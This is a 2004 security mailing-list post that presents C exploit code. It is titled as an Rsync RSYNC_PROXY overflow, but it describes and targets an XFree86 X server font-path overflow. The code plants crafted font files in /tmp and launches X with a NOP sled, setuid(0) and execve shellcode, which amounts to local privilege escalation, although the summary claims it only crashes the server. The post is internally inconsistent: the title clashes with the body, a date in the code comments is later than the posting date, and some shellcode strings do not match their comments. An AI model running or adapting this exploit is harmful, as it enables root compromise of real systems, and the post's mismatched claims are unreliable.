[EXPL] Rsync Buffer Overflow (RSYNC_PROXY Environment Variable) Exploit

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To: list@securiteam.com
Date: 16 Feb 2004 11:23:34 +0200

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  Rsync Buffer Overflow (RSYNC_PROXY Environment Variable) Exploit
------------------------------------------------------------------------

SUMMARY

As was reported in a previous article,
<http://www.securiteam.com/unixfocus/5IP0C0AC0Y.html> Rsync Buffer
Overflow (RSYNC_PROXY Environment Variable), a buffer overflow has been
discovered in recent versions of XFree86. The following code exploits the
vulnerability and can be used to crash the X server. A SIGSEGV (signal 11)
will be sent to the X server and it will crash.

DETAILS

Exploit:
/* For educational purposes only */
/* Brought to you by bender2@lonestar.org 11.10.2004 */

#include < fcntl.h>

#define NOPNUM 8000
#define ADRNUM 1058

/* shellcode from LSD */
char setuidcode[]= /* 8 bytes */
  "\x33\xc0" /* xorl %eax,%eax */
  "\x31\xdb" /* xorl %ebx,%ebx */
  "\xb0\x17" /* movb $0x17,%al */
  "\xcd\x80" /* int $0x80 */
;

char shellcode[]= /* 24 bytes */
  "\x31\xc0" /* xorl %eax,%eax */
  "\x50" /* pushl %eax */
  "\x68""//id" /* pushl $0x68732f2f */
  "\x68""/tmp" /* pushl $0x6e69622f */
  "\x89\xe3" /* movl %esp,%ebx */
  "\x50" /* pushl %eax */
  "\x53" /* pushl %ebx */
  "\x89\xe1" /* movl %esp,%ecx */
  "\x99" /* cdql */
  "\xb0\x0b" /* movb $0x0b,%al */
  "\xcd\x80" /* int $0x80 */
;

char jump[]=
  "\x8b\xc4" /* movl %esp,%eax */
  "\xc3" /* ret */
;

main(int argc,char **argv){
  char buffer[20000],adr[4],pch[4],*b,*envp[4];
  int i,fd;

  *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+16000;

  envp[0]=&buffer[2000];
  envp[1]=0;

  printf("adr: 0x%x\n",adr+12000);

  b=buffer;
  strcpy(buffer,"1\n");
  strcat(buffer,"aaaa.pcf
-aaaa-fixed-small-a-semicondensed--1-1-1-1-a-1-iso1111-1\n");
  fd=open("/tmp/fonts.dir",O_CREAT|O_WRONLY,0666);
  write(fd,buffer,strlen(buffer));

  for(i=0;i< ADRNUM;i++) *b++=adr[i%4];
  *b++='\n';

  fd=open("/tmp/fonts.alias",O_CREAT|O_WRONLY,0666);
  write(fd,buffer,strlen(buffer));
  close(fd);

  b=&buffer[2000];
  
for(i=0;i<
NOPNUM-strlen(setuidcode)-strlen(setuidcode)-strlen(shellcode);i++)
*b++=0x90;
  for(i=0;i< strlen(setuidcode);i++) *b++=setuidcode[i];
  for(i=0;i< strlen(shellcode);i++) *b++=shellcode[i];
  *b=0;

  execle("/usr/bin/X11/X","X",":0","-fp","/tmp",0,envp);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:qph@linuxmail.org> R0xx.

The original article can be found at:
<http://www.securiteam.com/unixfocus/5IP0C0AC0Y.html>
http://www.securiteam.com/unixfocus/5IP0C0AC0Y.html.

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